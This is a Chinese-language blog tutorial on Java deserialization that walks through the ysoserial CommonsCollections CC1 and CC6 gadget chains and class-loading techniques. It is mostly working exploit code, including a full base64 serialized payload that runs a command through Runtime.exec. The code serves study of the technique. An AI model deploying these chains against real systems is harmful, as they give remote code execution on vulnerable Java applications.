加载中...
基于CommonsCollections链学习Java反序列化
发表于:2024-04-23 | 分类: java
字数统计: 11.2k | 阅读时长: 49分钟 | 阅读量:

0x01 写在前面

本文是分析ysoserial中的几条CommonsCollections链,可能会比较基础,我也是一边学习一边记录下我对于这几条反序列化CC链的理解。学习的过程主要借鉴了b站白日梦组长的Java反序列化学习视频和P牛代码审计星球中的Java漫谈(这两个都强推,大家都可以去看看,比较适合入门学习!)。学习记录的过程可能有些地方使用了截图方式记录重要知识要点,如有侵权删。

(投稿被拒,扔博客备份一下😭)

0x02 Java反序列化开篇

Java中一切皆对象,类也是对象

基础

什么是序列化和反序列化

Java序列化是指把Java对象转换为字节序列的过程,通过ObjectOutputStream 类中的的writeObject方法可以实现序列化。
Java反序列化是指把字节序列恢复为Java对象的过程,通过ObjectInputStream类的readObject方法进行反序列化。序列化和反序列化的过程都是基于字节流来完成的。

但是并不是所有的对象都是可以序列化和反序列化的,要求和需要注意的知识点如下:

  1. 该类必须继承自java.io.Serializable接口(该类的全部属性也必须继承自Serializable接口),否则会抛出NotSerializableException报错。
  2. 而且所有非transient关键字修饰的属性必须是可序列化的。
  3. 类对象序列化之后不一定要保存成文件,也可以通过ByteArrayOutputStream保存为字节数组。
  4. 反序列化之后返回的数据类型为Object类型,如果要转化为序列化之前的类,需要进行强制类型转化。
    有关于如何构造一个gadget的重要思想:
    image.png

类及相关知识点

关于对象输入输出流对象:

image.png
类的四种类型:
image.png
单例模式:
单例模式确保某个类只有一个实例,而且自行实例化并向整个系统提供这个实例。在计算机系统中,线程池、缓存、日志对象、对话框、打印机、显卡的驱动程序对象常被设计成单例。特点如下:

  1. 单例类只能有一个实例。
  2. 单例类必须自己创建自己的唯一实例。
  3. 单例类必须给所有其他对象提供这一实例。
    单例模式保证了全局对象的唯一性,比如系统启动读取配置文件就需要单例保证配置的一致性。

image.png

objectAnnotation

java反序列化时,如果自己重写了writeobject方法,先调用了defaultwriteobejct方法,然后在后面添加上一些内容,那么这些添加的内容就会被放在objectAnnotation的位置,使用SerializationDumper-一个分析十六进制序列化数据的工具可以查看到此过程。

public class people implements Serializable {
    public String name;
    public int age;
    people(String name, int age){
        this.name=name;
        this.age=age;
    }

    private void writeObject(ObjectOutputStream s)throws Exception{
        s.defaultWriteObject();
        s.writeObject("this is a object");
    }
    private void readObject(ObjectInputStream s) throws IOException,ClassNotFoundException {
        s.defaultReadObject();
        String message=(String) s.readObject();
        System.out.println(message);
    }

}

image.png

一个简单的例子

这里我自己写了一个简单的类(随便写一个就行了),write通过base64加密输出的序列化数据,read就是base64解密序列化数据,然后读取加载这个类。

public class test {
    public static void main(String[] args) throws Exception{
        test test = new test();
//        test.write();
        test.read();

    }
    public void write() throws Exception{
        people people = new people("v1nd",18);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(people);
        objectOutputStream.flush();
        objectOutputStream.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
    }
    public void read()throws Exception{
        String s = new String("rO0ABXNyAA5jb20udGpmLnBlb3BsZQ8mHrI+N1sAAwACSQADYWdlTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwAAAAEnQAA3RqZnQAEHRoaXMgaXMgYSBvYmplY3R4");
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(s));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();

    }
}

反射篇

通过上面的了解我们知道有些类是不能直接从外部实例化的,或者说他是一个单例模式的,这时我们就需要借助Java一个重要的机制:反射,来帮助我们了。

概念

指在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法,对于任意一个对象,都能调用它的任意一个方法.这种动态获取信息,以及动态调用对象方法的功能叫java语言的反射机制。

getMethod&invoke

getMethod最简答的例子:getMethod("exec",String.class),他可以获取Runtime.exec方法,第一个参数为函数名,第二个是函数的参数类型;

invoke:作用就是将上面getMethod获取到的方法进行执行,第一个参数是一个对象(普通方法)或者是一个类(静态方法)。大概的格式如下:
method.invoke(object/class,args)

getDeclared系列

image.png
总结大概就是获取全部的,而不仅仅是public属性的;当然获取完需要使用的话,需要进行setAccessible(true)的操作,例如下面的例子:

image.png

newInstance

image.png

直接上例子吧

至于基础概念那些,可以去百度搜,肯定比我这全,简单了解有印象知道如何调用即可,不需要很深入的理解。
这里以最常见的那个命令执行函数作为例子,Runtime类的构造方法是私有的,需要通过getRuntime来获取对象,这其实就是最为常见的“单例模式”。我们是不能直接new进行实例化的,同时他也是没有实现序列化接口的,不过我们可以通过反射进行调用。
Runtime

package runtime;

import java.io.File;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception{
        Class myrun=Class.forName("java.lang.Runtime");
        Method myexec=myrun.getMethod("exec",String.class);
        Method mygetruntime=myrun.getMethod("getRuntime");
        Object myruntime=mygetruntime.invoke(myrun);
        myexec.invoke(myruntime,"calc");
    }
}

再来看看ProcessBuilder

如果newInstance时,没有进行ProcessBuilder的强制类型转换,就不能直接使用start函数,需要通过反射调用获取start函数,再通过invoke执行。
Java里的可变长参数(varargs)了。正如其他语言一样,Java也支持可变长参数,就是当你 定义函数的时候不确定参数数量的时候,可以使用 这样的语法来表示“这个函数的参数个数是可变 的”。

Class clazz = Class.forName("java.lang.ProcessBuilder"); ((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
Class aClass = Class.forName("java.lang.ProcessBuilder");
Constructor constructor = aClass.getConstructor(List.class);
Object calc = constructor.newInstance(Arrays.asList("calc"));
//Process calc = ((ProcessBuilder) constructor.newInstance(Arrays.asList("calc"))).start();
Method start = aClass.getMethod("start");
//Object invoke = start.invoke(calc);
Constructor<?> constructor1 = aClass.getConstructor(String[].class);
Object o = constructor1.newInstance(new String[][]{{"calc"}});
Object invoke1 = start.invoke(o);

大概就这些了,下面需要的知识点例如ClassLoader动态加载类,会一边分析一边讲解。

0X03 CommonsCollections1

注意一下:CommonsCollecitons的版本要下载3.2.1的,3.2.2的InvokerTransformer反序列化有安全监测。。。
依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    <scope>test</scope>
</dependency>

简化的demo链

下面将对CC1链子中需要了解到的类进行简单的讲解

TransformedMap

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,最主要就是Map的修饰了,他不像下面那几个Map一样,都是实现了Transformer接口的类,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map。其中,keyTransformer是处理新元素的Key的回调valueTransformer是处理新元素的value的回调。 我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。(可以发现的是传入的key,传入的value,都是Transformer接⼝类,然后他们都可以去调用Transformer类中的唯一一个transform方法)。
Map outerMap = TransformedMap.decorate(innerMap,keyTransformer,valueTransformer);

Transformer

下面讲解的所有后缀是Transformer的类都是实现来自于这个接口的,这个接口只有一个唯一的函数transform,需要继承该接口的类自己去实现。

image.png

ConstantTransformer

ConstantTransformer的transform方法就是返回自己构造方法传入的那个object。(被戏称为“没用的东西”)
重点在于,你调用这个ConstantTransformer的transform,不管你传入啥对象,他最终他会给你的那个对象是他自己内部的那个iConstant对象。

image.png

InvokerTransformer

从名字就可以看出这个类跟invoke函数执行相关了,没错就是这样!也是我们能够进行命令执行的关键类。同样是实现了接口Transformer,它的transform函数就有点复杂了。
首先讲讲它的构造函数:有三个参数需要传递进去:
1、methodName 需要调用的方法名
2、paramTypes 这个方法需要的参数的类型列表
3、args 这个方法需要的参数列表

它的transform方法就是直接调用了使用前面构造函数传递进来它的参数来使用invoke调用它的函数名。

image.png

ChainedTransformer

ChainedTransformer同样是实现Transformer接口的一个类,它的构造函数只有一个,就是将传进来的transformers数组保存起来。
它的transform方法就十分有意思了,大概的作用就是,我们一开始传入一个object作为第一个实现了transformer接口类的参数,然后进行该类的transform方法的调用;返回的object的结果就当做transformers数组中下一个实现了transformer接口类的传入参数对象
借用一张p牛的Java漫谈中的经典图:

image.png

看看一个简单的demo(put主动触发)

解释一下:
首先构造了一个transformers数组,将ConstantTransformer和InvokerTransformer分别都放了进去,ConstantTransformer对应着我们的Runtime对象,InvokerTransformer则是对应着我们需要调用的方法以及需要传入的参数。然后将这个transformers数组传递给ChainedTransformer的构造函数作为参数,最终构造了一个ChainedTransformer对象。

很明显,只要我们调用ChainedTransformer这个对象的transform方法就会触发Runtime的命令执行,但现在的问题是我们反序列化肯定是不会去主动触发ChainedTransformer的transform方法的,所以我们就需要寻找一个主动调用的情况。

这里我们找到了TransformedMap这个类,它里面有个put方法,可以主动调用keytransformer或者valuetransformer的transform方法。这里需要注意的一点就是,TransformedMap对象是靠decorate函数生成的。

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
                                   new Object[]
                                   {"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                                               transformerChain);
        outerMap.put("test", "xxxx");
    }
}

AnnotationInvocationHandler

image.png
下面来学学这个AnnotationInvocationHandler类,他是我们在序列化时最为主要的一个类,因为它readobject反序列化方法中,其中进行了memberValue.setValue的函数调用操作。而TransformedMap其中一个checkSetValue函数方法可以调用transform方法,然后查看哪里调用了checkSetValue函数方法,发现是它的父类一个抽象类AbstractInputCheckedMapDecorator实现了一个setValue函数方法,然后里面调用了checkSetValue函数方法。这一下子就调用栈全部连上来了:

AnnotationInvocationHandler::readobject-》AbstractInputCheckedMapDecorator::setValue-》TransformedMap::checkSetValue-》TransformedMap::transform

image.png

image.png

image.png

EXP编写&问题处理

1、由于Runtime类没有继承序列化接口,所以不能直接序列化,需要通过反射调用获取,然后序列化。为啥反射调用就可以不需要实现序列化接口就能序列化呢?因为我们没有直接使用这个类,而是通过Class这个可以序列化的类在上下文中获取到了这个Runtime对象。所以通过反射调用就可以解决这个问题。

2、关于Transformers这个数组该如何书写,让ChainedTransformer可以循环回调正确调用,主要的要点就是在ChainedTransformer中,每一次transform传入的object都是上一次transform的return的结果,也就是说InvokerTransformer每一次调用transform中的invoke都是使用当前传入的函数参数类型和参数值,而调用的对象是上一次invoke结束返回的对象值,就是调用的对象是第一次传入的值或者说是上一次的返回值。下面有InvokerTransformer的transform方法详细内容:显示获取传入对象的Class对象,然后根据这个Class对象进行getMethod获取传入的方法名,然后调用该方法。
所以我们需要根据正常写反射调用的顺序写transform数组即可,如下所示:

  • 首先是开头获取Runtime.class,传给第一个InvokerTransformer进行transform;
  • 第一次invoke调用是getMethod.invoke(Runtime.class,(getRuntime,null))-》得到getRuntime的getRuntimemethod对象,传递给下一个InvokerTransformer进行transform;
  • 第二次invoke调用是invoke.invoke(getRuntimemethod,(null,null))-》得到了Runtime对象,传递给下一个InvokerTransformer进行transform;
  • 第三次invoke调用是exec.invoke(Runtime,calc),然后结束调用。

image.png

image.png

3、还有需要注意的点是,这里有if判断条件来查看是否能进入那个setValue方法。
这里我们需要寻找一个注解类,其中包含有成员变量,例如下面我使用的那个Retention类,其中有一个value成员变量。然后记得往map添加这个键,同时赋予对应的值!

image.png

image.png

image.png
然后最终的EXP如下:

package com.tjf;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class practice {
    practice(){

    }
    public static void main(String[] args) throws Exception{
        practice practice = new practice();
        practice.write();
        practice.read();
    }
    private void write()throws Exception{
        Transformer[] transformers={
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{new String("calc")})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();
        hashMap.put("value","1");
        Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
        //        Object put = decorate.put("1", "1");
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class, decorate);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);
        //        objectOutputStream.flush();
        objectOutputStream.close();
        String s = new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
        System.out.println(s);
    }
    private void read()throws Exception{
        String s = new String("rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABpzcQB+ABF1cQB+ABYAAAACcHB0AAZpbnZva2V1cQB+ABoAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAWc3EAfgARdXEAfgAWAAAAAXQABGNhbGN0AARleGVjdXEAfgAaAAAAAXEAfgAdc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAV2YWx1ZXQAATF4eHZyAB5qYXZhLmxhbmcuYW5ub3RhdGlvbi5SZXRlbnRpb24AAAAAAAAAAAAAAHhw");
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(s));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();
    }
}

ysoserial中的CommonsCollections1链(LazyMap-Proxy)

去看ysoserial的链子可以知道和我上面所编写的不太一样,下面讲解ysoserial中的CommonsCollections1链。
先讲讲jdk的原生动态代理

jdk原生动态代理

可参考:java中动态代理技术的两种实现方式
这里由于需要换一条链子,所以会涉及到java中动态代理的知识点,需要预先学习一下。
Proxy是实现了java.io.Serializable序列化接口的,所以可以直接使用。
主要就是通过AnnotationInvocationHandler中的memberValues设置一个动态代理proxy,通过这个proxy去调用invoke,这个proxy同样是一个AnnotationInvocationHandler,而AnnotationInvocationHandler中的invoke里面有调用到get方法,所以就撞到枪口上了,因此把proxy的memberValues设置为我们写好的LazyMap,调用了get方法就会调用transform方法,后面的链子就跟TransformedMap链子一样了。

image.png

最重要的就是Proxy.newProxyInstance,他一共需要三个参数:

  • 第一个是ClassLoader,使用java默认的就行,getClass.getClassLoader就行;
  • 第二个是接口集合,直接getClass.getInterfaces就行;
  • 第三个最重要,需要我们自己重写,是一个实现了InvocationHandler接口的类,其实就只需要override一个函数invoke就可以了。

image.png

image.png

lazymap的调用链

借用白日梦组长大佬的链子图,这里不是通过checkSetValue来触发transform了,而是由LazyMap.get:

image.png

AnnotationInvocationHandler::readObject->
AnnotationInvocationHandler.**memberValues**(这是一个Proxy).entrySet()->
AnnotationInvocationHandler::invoke->
AnnotationInvocationHandler.memberValues(这个就是那个LazyMap).get->
LazyMap::get->LazyMap.factory.transform->
ChainedTransformer::transform->InvokerTransformer::transform->
RCE
链子结束,撒花呜呜呜!

附上ysoserial的链子图

image.png

EXP

public class lazymap1 {
    public static void main(String[] args) throws Exception{
        lazymap1 lazymap1 = new lazymap1();
        byte[] bytes=lazymap1.write();
        lazymap1.read(bytes);
    }
    private byte[] write() throws Exception{
        Transformer[] transformers={
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{new String("calc")})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();
        //        hashMap.put("value","1");
        //        Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
        //        Object put = decorate.put("1", "1");
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler o = (InvocationHandler) constructor.newInstance(Retention.class,decorate);

        Map o1 = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, o);
        InvocationHandler o2 = (InvocationHandler) constructor.newInstance(Retention.class,o1);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o2);
        objectOutputStream.flush();
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }
    private void read(byte [] bytes)throws Exception{
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object read = objectInputStream.readObject();
    }
}

0X04 CommonsCollections6

CC1这一条利用链在jdk8u71以后就不能再利用了,主要是因为那个入口类sun.reflect.annotation.AnnotationInvocationHandler#readObject进行了改写,下面我们讲讲没有高版本限制的CC6这条链子。

链子解析

先附上链子图

image.png
以及白日梦组长大哥的链子图:

image.png

总体链子的后半段是一样的,主要是前面触发lazymap的get方法的触发点更换掉了。因为我们知道jdk8u71后,sun.reflect.annotation.AnnotationInvocationHandler的readObject方法被改写了,逻辑变换了,所以无法触发后面一序列的链子了。

所以我们寻找到了一个全新的类:TiedMapEntry,他有个同名的函数方法hashCode,其中就有调用getValue方法,而getValue方法里面又有get方法,只要让TiedMapEntry的map设置为LazyMap就可以了打通链子了,所以只要能走到TiedMapEntry#hashCode方法就可以了。

image.png
走到那里的链子就是借鉴的URLDNS的链子了,通过HashMap在readObject时会去调用hash,然后又会调用hashCode方法,这不撞枪口上了吗,这样链子就比较清晰了。

EXP编写&问题解决

这里需要注意一点的东西就是,在hashmap进行put的时候,就会进行key的hash计算,从而就会在序列化期间提前打通了整条链子,这很不好。
所以我们可以通过一些方法提前将链子破坏掉,等到put进去之后,我们在恢复原来的链子。例如我们可以将传入LazyMap的ChainedTransformer提前换掉,换成实现了trasnformer接口的类就行。然后在put完之后,序列化之前,将ChainedTransformer换回去。
然后还有一个问题就是,我们new TiedMapEntry时初始化就是带一个key进去,然后在put的时候由于触发了hash导致写入了LazyMap的hashMap中,所以序列化之前我们还得remove一下才行。
最终所有问题就没有啦,可以弹出计算器啦,撒花!

image.png

exp:

package com.tjf;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {
    public static void main(String[] args)throws Exception {
        CommonsCollections6 commonsCollections6 = new CommonsCollections6();
        byte[] write = commonsCollections6.write();

        commonsCollections6.read(write);
    }
    private byte[] write()throws Exception{
        Transformer[] transformers={
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{new String("calc")})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();
        //        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        Map decorate = LazyMap.decorate(hashMap, new ConstantTransformer("321"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "v1nd");
        HashMap hashMap1 = new HashMap();
        hashMap1.put(tiedMapEntry,"v1nd");
        decorate.remove("v1nd");


        //还原
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decorate,chainedTransformer);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap1);
        objectOutputStream.flush();
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();

    }
    private void read(byte[] bytes)throws Exception{
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();
    }
    private void readbase64()throws Exception{

    }
}

image.png

0x05 CommonsCollections3

去看ysoserial的链子发现,开局暴击:

image.png
先学习一下基础知识

java的字节码(动态类加载)

基础

本文中所说的“字节码”,可以理解的更广义一些:所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的探讨范围内
Java中的字节码(bytecode)指的就是Java虚拟机中执行使用的一些指令,一般都不会存储在编译过后的.class文件之中。下面放张经典的图:

image.png

关于类在不同情况下的初始化问题的测试代码:

Person person = new Person();//实例化
Class<Person> personClass = Person.class;//不初始化
Class<?> aClass = Class.forName("com.tjf.Person");//默认初始化
Class<?> aClass = Class.forName("com.tjf.Person", false, ClassLoader.getSystemClassLoader());//手动设置不初始化
Object o = aClass.newInstance();//实例化

下面讲讲双亲委派:
双亲委派模型:原理:当一个类加载器收到类加载任务时,会先交给自己的父加载器去完成,因此最终加载任务都会传递到最顶层的BootstrapClassLoader,只有当父加载器无法完成加载任务时,才会尝试自己来加载。

image.png
实际上Extensision ClassLoader和Application ClassLoader都是extends继承的****URLClassLoader,所以后面会走到URLClassLoader的findClass里面。然后在里面调用了defineClass,最终一路回调,到了ClassLoader的defineClass里面。从传入的参数可以看到,传入一个类名,还有字节码,然后会调用native方法defineClass1,最终字节码动态加载把类给加载出来了。
万物起源:ClassLoader

image.png

image.png

ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
Class<?> aClass = systemClassLoader.loadClass("com.tjf.Person");//不进行初始化
Object o = aClass.newInstance();

加载字节码原理

其实,不管是加 载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:
1、loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass 。
2、findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass 。
3、defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类。
借用P牛的图,所以我们可以总结为:

image.png
真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java
默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中。

URLClassLoader

从上面的流程可以看出我们可以在其中一些过程进行恶意的动态类加载,从URLClassLoader入手,远程加载一个恶意类。

需要特别注意的是,当设置目录时,使用file协议,最后那个必须加个斜杠,不然会被识别成jar包加载进去例如:file:///C:\Users\Lenovo\Desktop\Java\javaslowtalk\CommonsCollections111\target\test-classes\ (在java中,他会自动转义成双斜杠!)

//本地调用file协议
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///C:\\Users\\Lenovo\\Desktop\\Java\\javaslowtalk\\CommonsCollections111\\target\\test-classes\\")});
Class<?> aClass = urlClassLoader.loadClass("com.tjf.test");
Object o = aClass.newInstance();

当然还可以远程调用,使用http协议可以远程调用的,看下面的例子就知道了:http://localhost:9999/

//http协议
URLClassLoader urlClassLoader1 = new URLClassLoader(new URL[]{new URL("http://localhost:9999/")});
Class<?> aClass1 = urlClassLoader1.loadClass("com.tjf.test");
Object o = aClass1.newInstance();

image.png

还有jar协议,同时也要配合其他协议进行jar包的调用,同样在下面有一个例子,看报错就可以知道,必须在jar包后面添加!/这样的标识符。

image.png
自己生成jar包有点小坑,记得自己把Project Structure中的Artifacts中添加jar包生成,同时output需要把Module Test Output也放进来,不然没有class文件!

image.png

jar:file:///C:\\Users\\Lenovo\\Desktop\\Java\\javaslowtalk\\out\\artifacts\\CommonsCollections111_jar\\CommonsCollections111.jar!/
jar:http://localhost:9999/CommonsCollections111.jar!/

image.png

//jar协议(file或者http辅助)
//URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///C:\\Users\\Lenovo\\Desktop\\Java\\javaslowtalk\\out\\artifacts\\CommonsCollections111_jar\\CommonsCollections111.jar!/")});
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://localhost:9999/CommonsCollections111.jar!/")});
Class<?> aClass = urlClassLoader.loadClass("com.tjf.test");
aClass.newInstance();

ClassLoader下的defineClass(保护属性方法,需要反射调用)

ClassLoader里面有多个defineClass,还有的defineClass后数字后缀的,注意区分!
在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我 们常用的一个攻击链 TemplatesImpl 的基石。

image.png

//defineClass(先用defineClass获取那个类,然后可以直接newInstance创建对象实例化)
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\Desktop\\Java\\javaslowtalk\\CommonsCollections111\\target\\test-classes\\com\\tjf\\test.class"));
Class test = (Class) defineClass.invoke(systemClassLoader, "com.tjf.test", code, 0, code.length);
Object o = test.newInstance();

Unsafe的defineClass(公有方法,但是得反射获取单例对象,然后newInstance实例化)

但是不能直接调用,因为他跟Runtime一样,是单例模式,不过有一个getUnsafe方法,但是这个有一个安全检查,所以直接调用会报错。不过可以通过反射调用获取它的theUnsafe对象进行使用,使用get就可以获取到这个private对象啦

image.png

image.png

//使用Unsafe调用defineClass
Class<Unsafe> unsafeClass = Unsafe.class;
Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Class<?> aClass = unsafe.defineClass("com.tjf.test", code, 0, code.length, systemClassLoader, null);
Object o = aClass.newInstance();

利用TemplatesImpl突破defineClass(在rt.jar里面)

image.png
虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它(否则他也没存在的价值了对吧),这就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
